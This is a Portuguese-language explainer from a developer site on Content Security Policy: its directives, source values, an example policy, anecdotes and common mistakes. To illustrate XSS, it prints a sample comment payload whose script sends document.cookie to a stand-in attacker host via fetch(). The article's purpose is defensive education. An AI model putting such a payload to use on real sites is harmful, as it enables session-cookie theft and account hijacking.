FlowingDev

CSP, explicado: o segurança particular do seu site

Aprenda o que é uma Content Security Policy (CSP), como suas diretivas funcionam e por que é uma defesa crucial contra ataques de cross-site scripting (XSS).

Testar a ferramenta: Verificador de CSP

Em uma frase

Content-Security-Policy (CSP) é um padrão de segurança, entregue através de um header HTTP, que diz ao navegador quais fontes de conteúdo (como scripts, imagens e estilos) são confiáveis e devem ser carregadas, agindo efetivamente como um leão de chácara contra injeções maliciosas.

O problema que resolve

Nos primórdios da web, na era do velho oeste selvagem, a segurança era meio que deixada para depois. Um dos vilões mais desagradáveis que surgiram foi o Cross-Site Scripting, ou XSS. Em poucas palavras, XSS é um ataque onde um agente mal-intencionado consegue injetar seu próprio código malicioso (geralmente JavaScript) em um site que você confia.

Imagine um blog com uma seção de comentários. Você, dev, constrói o site com todo o cuidado. Mas você deixa passar um bug minúsculo na forma como exibe os comentários. Um atacante aparece e, em vez de escrever "Belo post!", ele envia um comentário como este:

<script>
  // Roubar o cookie de sessão do usuário logado
  fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>

Agora, todo outro usuário que visualiza aquele post do blog tem seu navegador executando este script. Como o script roda no domínio do seu blog, ele tem acesso a tudo que um script legítimo teria, como os cookies de sessão do usuário. O atacante agora pode sequestrar a sessão dele e se passar por ele. Sinistro.

Durante anos, a única defesa era sanitizar meticulosamente cada pedaço de entrada do usuário. Isso é chamado de "validação de entrada e codificação de saída" (input validation and output encoding), e ainda é extremamente importante. Mas também é incrivelmente difícil acertar 100%, o tempo todo. Um pequeno deslize e você está vulnerável.

O CSP nasceu da necessidade de "defesa em profundidade". A ideia é simples: e se o servidor pudesse dizer ao navegador: "Ei, eu sei que deveria ser perfeito, mas caso eu tenha vacilado e deixado um script malicioso passar, quero que você imponha algumas regras por mim. Execute apenas scripts que vêm do meu próprio domínio, my-app.com, e do Google Analytics. Se você vir um script de qualquer outra fonte, bloqueie-o e me avise."

Isso é CSP. É uma segunda linha de defesa que opera diretamente no navegador do usuário, transformando-o de uma vítima passiva em um agente de segurança ativo.

Como funciona por baixo dos panos

CSP não é mágica; é apenas uma string de texto entregue em um header de resposta HTTP. Os dois headers principais são:

  • Content-Security-Policy: Aplica a política. Se um recurso violar a política, ele é bloqueado.
  • Content-Security-Policy-Report-Only: Um modo de "teste" (dry run). Ele relata as violações, mas na verdade não bloqueia nada, o que é uma mão na roda para testar e implantar uma nova política sem quebrar seu site.

O valor do header é uma série de diretivas, cada uma terminando com um ponto e vírgula. Uma diretiva consiste em um nome e uma lista de fontes permitidas.

Diretivas Comuns

Pense nas diretivas como categorias de conteúdo que você quer controlar.

Diretiva Controla... O que cobre
default-src O fallback A lista de fontes padrão para a maioria das outras diretivas -src se elas não forem especificadas. Configure esta primeiro!
script-src Scripts Fontes de JavaScript, incluindo tags script, handlers inline (onclick) e mais. A mais importante para XSS.
style-src Folhas de estilo (Stylesheets) Arquivos CSS, tags style e atributos style inline.
img-src Imagens Tags <img>, favicons, etc.
connect-src Conexões URLs para fetch(), XMLHttpRequest, WebSocket, etc. Com o que seu front-end pode conversar?
font-src Fontes (Fonts) Fontes da web carregadas via @font-face.
frame-src Frames Fontes para elementos <iframe> e <frame>.
report-uri Relatórios (Reporting) (Obsoleta, mas comum) Uma URL para onde o navegador envia relatórios JSON de violações da política.
report-to Relatórios (Reporting) O substituto moderno para report-uri, usando a Reporting API.

Valores de Fonte Comuns

Para cada diretiva, você especifica de onde o conteúdo tem permissão para vir.

Fonte Significado Exemplo
'self' A mesma origem Permite conteúdo do mesmo domínio, esquema e porta do documento.
'none' Nada Bloqueia todo o conteúdo para essa diretiva. object-src 'none' é uma ótima ideia.
example.com Um host específico Permite conteúdo de example.com.
*.example.com Host com curinga (wildcard) Permite conteúdo de qualquer subdomínio de example.com. Use com cautela!
https: Um esquema (scheme) Permite conteúdo de qualquer fonte sobre HTTPS.
'unsafe-inline' Código inline Permite tags <script> e <style> inline, e atributos style ou onclick. Evite se possível!
'unsafe-eval' Código dinâmico Permite funções de avaliação de string como eval(). Um grande risco de segurança.
'nonce-...' Um nonce criptográfico Permite um script inline se seu atributo nonce corresponder ao do header. Ótimo para usar scripts inline específicos com segurança.
'sha256-...' Um hash Permite um script ou estilo inline se seu hash SHA256 corresponder ao do header.

Juntando Tudo

Vamos dar uma olhada em uma política realista para uma aplicação web moderna:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://images.my-app.com;
  connect-src 'self' https://api.my-app.com;
  font-src 'none';
  object-src 'none';
  frame-ancestors 'none';
  report-to csp-endpoint;

Vamos analisar isso:

  • default-src 'self': Por padrão, permitir apenas recursos da nossa própria origem.
  • script-src ...: Permitimos scripts da nossa própria origem, do nosso provedor de analytics e qualquer script inline que tenha o valor de nonce específico. O servidor geraria um novo nonce aleatório para cada carregamento de página.
  • style-src 'self' 'unsafe-inline': Permitimos folhas de estilo da nossa origem. O 'unsafe-inline' sugere que podemos ter algum código legado que injeta atributos style, o que é uma situação comum (embora não ideal).
  • img-src ...: Imagens podem vir da nossa origem, como URIs data: ou do nosso CDN de imagens dedicado.
  • connect-src ...: Nosso JavaScript do front-end só tem permissão para fazer chamadas de API para nossa própria origem e para api.my-app.com.
  • font-src 'none', object-src 'none': Não usamos fontes personalizadas ou plugins como o Flash, então os bloqueamos completamente.
  • frame-ancestors 'none': Isso impede que outros sites coloquem nosso site em um <iframe>, o que detém ataques de clickjacking.
  • report-to csp-endpoint: Envia relatórios de violação para o endpoint de relatório chamado csp-endpoint (configurado em outro lugar).

Histórias do mundo real

O Ladrão de Dados do E-Commerce

Uma loja online de médio porte adicionou um widget de chat de terceiros ao seu site para ajudar no atendimento ao cliente. Eles adicionaram o domínio do widget à sua diretiva script-src e pensaram que estavam seguros. O que eles não sabiam era que a própria empresa do widget de chat foi invadida e um atacante modificou o arquivo de script do widget. A nova versão maliciosa "raspava" a página de checkout em busca de números de cartão de crédito. Como o CSP da loja confiava no domínio de origem, o script malicioso foi carregado e executado sem problemas por semanas.

Lição: Seu CSP é uma cadeia de confiança. Quando você permite um domínio de terceiros, você não está apenas confiando naquela empresa; você está confiando na segurança deles, no pipeline de implantação deles e em todas as dependências deles. O Subresource Integrity (SRI) é outra ferramenta que pode ajudar a mitigar esse risco específico.

A Implementação Gradual

Uma grande organização de mídia queria implementar um CSP rígido em seu site de notícias de alto tráfego. Eles sabiam que implantá-lo de uma vez só poderia quebrar anúncios, vídeos e inúmeros outros recursos. Em vez de colocar no ar, eles implantaram uma política no modo Content-Security-Policy-Report-Only. Por duas semanas, eles apenas coletaram dados. O endpoint report-uri deles foi inundado com milhares de relatórios por hora. Eles canalizaram esses relatórios para um banco de dados e construíram um dashboard mostrando os recursos bloqueados com mais frequência e as páginas em que foram bloqueados. Eles descobriram dezenas de scripts de rastreamento legados e esquecidos, domínios de redes de anúncios e dependências de players de vídeo. Sistematicamente, eles removeram os recursos antigos ou adicionaram os legítimos à sua whitelist da política. Após um mês de refinamento, eles viraram a chave para o modo de aplicação. Nada quebrou.

Lição: Não voe às cegas. Use o modo Report-Only como seu copiloto. Ele permite que você construa uma política perfeita e do mundo real com base no tráfego real do usuário, transformando uma tarefa de segurança aterrorizante em um problema de análise de dados gerenciável.

A Ameaça da Extensão do Navegador

Um funcionário de uma empresa financeira usava uma extensão de navegador popular que "embelezava" páginas da web injetando seu próprio CSS e JavaScript. Na maioria dos sites, isso era inofensivo. Mas quando ele fez login no portal financeiro corporativo interno, o site se recusou a funcionar corretamente. Confuso, ele ligou para o TI. Um dev olhou o console do navegador e viu uma enxurrada de erros de violação de CSP: o portal estava bloqueando a injeção dos scripts e estilos da extensão. O CSP rígido do portal, que permitia apenas scripts e estilos de 'self', havia identificado corretamente o código da extensão como um recurso estranho e não confiável e o bloqueou. Isso evitou um vazamento de dados em potencial de uma extensão bem-intencionada, mas invasiva.

Lição: Um CSP forte protege seus usuários não apenas de seus próprios bugs em potencial, mas também de ameaças dentro do ambiente do navegador deles, como extensões maliciosas ou excessivamente permissivas.

Erros e armadilhas comuns

  • Confiar em 'unsafe-inline'. Esta é a armadilha mais comum. Os devs encontram problemas com handlers de eventos onclick antigos ou tags <script> inline e recorrem ao 'unsafe-inline' como uma solução rápida. Isso reabre um vetor enorme para ataques XSS. O caminho melhor é refatorar o código para usar addEventListener ou, se você absolutamente precisar de um script inline, use um nonce ou um hash para colocá-lo na whitelist especificamente.
  • Esquecer do default-src. Se você definir apenas script-src e style-src, deixará outros vetores abertos. E as tags <object>? Ou workers? Sempre comece com um default-src 'self' ou default-src 'none' restritivo e abra apenas o que você precisa, diretiva por diretiva.
  • Configurar o reporting, mas nunca olhar para ele. Um report-uri que aponta para um beco sem saída é inútil. Os relatórios de violação são seu sistema de alerta precoce. Eles podem alertá-lo sobre um novo ataque XSS acontecendo ou dizer que uma implantação recente quebrou um recurso legítimo para um subconjunto de usuários. Você precisa ter um processo para ingerir, agregar e revisar esses relatórios.
  • Usar wildcards permissivos demais. É tentador usar script-src https://*.some-cdn.com, mas isso pode permitir que um atacante carregue um script de https://conta-de-usuario-malicioso.some-cdn.com. Seja o mais específico possível com seus hostnames.
  • Ignorar frame-ancestors. O XSS recebe toda a atenção, mas o clickjacking é outra ameaça real. Um atacante pode carregar seu site em um <iframe> transparente sobre o site malicioso dele e enganar os usuários para que cliquem em botões no seu site. frame-ancestors 'none' ou frame-ancestors 'self' é uma defesa simples e poderosa que é frequentemente esquecida.

Por que isso deve estar no seu radar

Você deve pensar em CSP se você...

  • Constrói qualquer aplicação web que lida com login de usuário, dados pessoais ou informações de pagamento.
  • Exibe qualquer conteúdo enviado por usuários (comentários, perfis, posts de fórum).
  • Integra múltiplos scripts de terceiros como analytics, anúncios, widgets de suporte ou gerenciadores de tags.
  • Quer uma postura de segurança robusta, moderna e de defesa em profundidade para qualquer projeto web não trivial.

Resumindo, se você é um desenvolvedor web no século 21, o CSP deve ser uma parte padrão do seu kit de ferramentas. Não é mais um recurso exótico para os ultraparanoicos; é uma peça fundamental da segurança do front-end.

Aprofunde-se

Teoria feita. Hora de pôr a mão na massa — 100% no seu navegador.

Testar a ferramenta: Verificador de CSP